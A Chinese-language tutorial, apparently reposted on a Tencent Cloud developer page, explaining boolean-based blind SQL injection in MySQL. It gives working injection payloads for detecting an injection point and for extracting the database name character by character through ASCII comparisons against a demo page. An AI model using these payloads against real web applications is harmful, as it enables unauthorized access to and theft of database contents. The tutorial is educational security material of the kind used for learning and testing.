0x00 什么叫布尔型盲注

布尔型

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。

盲注

在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容

布尔型盲注

页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

是不是听的云里雾里的,没关系,继续看

0x01 Mysql语法介绍

逻辑运算

length()

函数可返回字符串的长度

select length(database());

database()函数不用说了,会返回当前数据库名称,length()函数可返回一个字符串的长度,这里带入的是database(),也就是实际返回的是test的长度

f0174ea6c69d

length

substring()

substring()函数可以截取字符串,可指定开始的位置和截取的长度

select substring('test',1,3);

select substring('test',2,1);

f0174ea6c69d

substring

ord()

ord()函数可以返回单个字符的ASCII码

select substring(database(),1,1);

select ord(substring(database(),1,1));

f0174ea6c69d

ord

反之,char()函数可将ASCII码转换为对应的字符

select char(116);

f0174ea6c69d

char

0x02 手工注入

判断注入点

这里就不能像联合查询注入一样根据页面是否报错判断了,因为sql执行失败和未查到数据都会返回False,所以只能通过返回的逻辑值来判断

/* 整型注入 */

sql-bool.php?name=user1 and 1=1

sql-bool.php?name=user1 and 1=2

/* 字符型注入 */

sql-bool.php?name=user1' and '1'='1

sql-bool.php?name=user1' and '1'='2

/* 字符型注入 */

sql-bool.php?name=user1" and "1"="1

sql-bool.php?name=user1" and "1"="2

根据payload返回的成功或失败可以判断是否存在注入点,

拿整型注入举个例子

如果带入user1返回为存在(真),那么当存在整型注入时,通过逻辑运算and(与)的关系,后面跟上1=1(恒真),那么返回值也肯定为存在(真),带入1=2(恒假)时,那么返回值也肯定为不存在(假)

通过这种方式就可以判断是否存在布尔型盲注

f0174ea6c69d

user1

f0174ea6c69d

and 1=1

f0174ea6c69d

and 1=2

读数据

由于盲注无法回显,所以只能通过将获取到的数据挨个字符截取,然后再通过转换为ASCII码的方式与可见字符的ASCII值一一对比

这里以读取当前数据库名为例

/* 判断库名长度 */

sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1

f0174ea6c69d

f0174ea6c69d

f0174ea6c69d

f0174ea6c69d

当length(database())=4时,返回真,也就是数据库名的长度有4位

然后我们再一位一位的判断字符内容,由于mysql库名不区分大小写,且组成元素为26位英文字母、数字和下划线,所以只需要和这些字符的ASCII值进行比较

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1

f0174ea6c69d

f0174ea6c69d

当与其他ASCII值判断时,返回均为假,与116判断是否相等时,返回为真,由此可判断数据库名第一个字符的ASCII值为116,再通过ASCII转换为字符,可得知当前数据库名第一个字符内容为't'

f0174ea6c69d

char

其他数据同样是用相同的办法读取内容

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐